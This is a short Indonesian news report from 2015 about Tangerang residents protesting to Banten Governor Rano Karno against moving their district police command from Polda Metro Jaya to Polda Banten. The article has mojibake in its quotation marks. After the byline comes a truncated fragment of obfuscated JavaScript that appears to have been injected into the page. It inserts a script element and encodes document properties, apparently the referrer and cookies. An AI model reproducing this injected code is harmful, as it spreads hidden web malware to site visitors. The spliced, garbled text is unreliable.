Serang – Sejumlah kelompok masyarakat Tangerang Raya mendatanggi Gubernur Banten Rano Karno di Pendopo Gubernur, Kawasan Pusat Pemerintahan Provinsi Banten (KP3B), Kota Serang Rabu, 25 November 2015. Kedatangan masyarakat Tangerang tersebut terkait penolakan rencana penggabungan Polres Tangerang ke wilayah hukum Polda Banten.

a�?Kita menyampaikan aspirasi dan keinginan masyarakat Tangerang bahwa masyarakat Tangerang merasa sudah nyaman ada di bawah wilayah hukum Polda Metro Jaya,a�? ujarA� Jurubicara Solidaritas Masyarakat Tangerang Raya, Ibnu Jandi Rabu, 25 November 2015.

Menurut Jandi, penolakan tersebut karena kebijakan rencana penggabungan kepolisian wilayah Tangerang ke Kepolisian Daerah Banten yang diusulkan Rano Karno sudah membuat gelisah masyarakat Tangerang.

a�?Dalam proses pengambilan kebijakan tersebut, Gubernur Banten tidak melakukan komunikasi dan koordinasi terlebih dahulu dengan masyarakat dan Kepala Daerah di wilayah Tangerang. Padahal sejak tahun 1980 penanganan Kamtibmas berada di wilayah hukum Polda Metro Jaya,a�? tegas Jandi.

Gubernur Banten Rano Karno mengatakan, rencana penggabungan wilayah hukum Tangerang ke Polda Banten sepenuhnya menjadi kewenangan Mabes Polri.A� a�?Mabes Polri sudah melakukan kajian cukup lama terkait hal ini . Kita hanya memberikan rekomendasi, keputusan ada di Mabes Polri,a�? kata Rano.

Sementara itu, Kapolda Banten Brigadir Jenderal Boy Rafli Amar mengatakan, aspirasi masyarakat Tangerang sudah disampaikan kepada Mabes Polri. Meburutnya, saat ini proses penyatuan wilayah hukum Tangerang sudah tahap akhir di Mabes Polri. “Pada prinsipnya kita terima aspirasi masyarakat, kita tinggal menunggu saja dan prosesnya pun sudah hampir selesai, tinggal menunggu waktu saja,a�? ujar Boy. (Yan/Cing) f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}